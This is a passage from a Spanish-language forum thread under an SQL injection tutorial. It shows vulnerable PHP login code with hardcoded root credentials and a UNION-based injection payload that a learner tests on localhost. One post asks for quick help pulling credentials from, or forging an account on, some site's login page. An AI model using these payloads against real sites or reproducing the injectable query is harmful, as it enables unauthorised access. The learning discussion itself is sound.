$conexion = mysql_connect("localhost", "root", "123qwe");
  mysql_select_db("mysql", $conexion);
$sql="SELECT PASSWORD FROM USUARIO WHERE USUARIO.NOMBRE = '$us'";
echo "$sql<br>";
$resp = mysql_query($sql, $conexion) or die(mysql_error());
if($fila = mysql_fetch_array($resp)){
if($fila['PASSWORD']==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password ".$pas." es incorrecto";
}
} //' UNION SELECT MIN(Password),2,3,4,5 FROM USUARIO WHERE NOMBRE = 'zanahoria
?>
Hay algo que no entiendo la consulta quedaria modificada como:
Código:
SELECT PASSWORD FROM USUARIO WHERE USUARIO.NOMBRE = '' UNION SELECT MIN(Password) FROM USUARIO WHERE NOMBRE = ''
,si en el campo usuario ponemos como vos dijiste:
Código:
' UNION SELECT MIN(Password) FROM USUARIO WHERE NOMBRE = '
Y efectivamente, funciona, cree un localhost para probarlo, (Aclaro que estos son mis primeros pasos en SQL Injection), ahora lo que no entiendo es porque funciona, yo corrí la consulta en el Mysql Query Browser y me tira un campo en NULL, ¿Esto quiere decir que si comparamos cualquier cosa contra una variable en NULL nos da verdadero?.
Yo se que mysql_fetch_array se usa para transformar el resultado de una consulta en un arreglo y poder recorrerlo de manera iterativa, ¿Pero esto quiere decir que no pasa nada cuando le decimos que nos devuelva el valor del campo PASSWORD?.
Disculpen, es que esta linea en particular me confunde mucho:
Código:
if($fila = mysql_fetch_array($resp)){	
if($fila['PASSWORD']==$pas){
Muchas gracias por detenerse a leer, Saludos!


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: astinx en 18 Diciembre 2011, 03:37 am
Basicamente creo que ya lo entendí, pero corrijanme si estoy equivocado. Lo que básicamente hace es hacer una unión con una tabla, luego cuando pregunta si el usuario existe, este existirá porque lo hace sobre el resultado de la unión. No se si me explique bien, pero espero que se entienda.


Título: Inyección SQL (SQL Injection) para claves.
Publicado por: Jotajotajota75 en 21 Diciembre 2011, 03:06 am
Hola a Tod@s.
Necesito saber si con las inyecciones SQL, o con otro método, puedo descubrir un nombre de usuario y su clave de una página que las pide para entrar. O si con estas inyecciones puedo crear un usuario ficticio y su clave para poder acceder. Os pediría rapidez si puede ser porque me hace mucha falta. Si alguien sabe algo que me lo diga a grandes rasgos y luego yo buscaré más información. Muchas gracias anticipadas.


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: zonahurbana en 3 Junio 2015, 08:24 am
Si luego de usar el UNION (ejemplo 2) la página no carga, en vez de mostrar un error que era lo que se esperaba... ¿qué significa? :s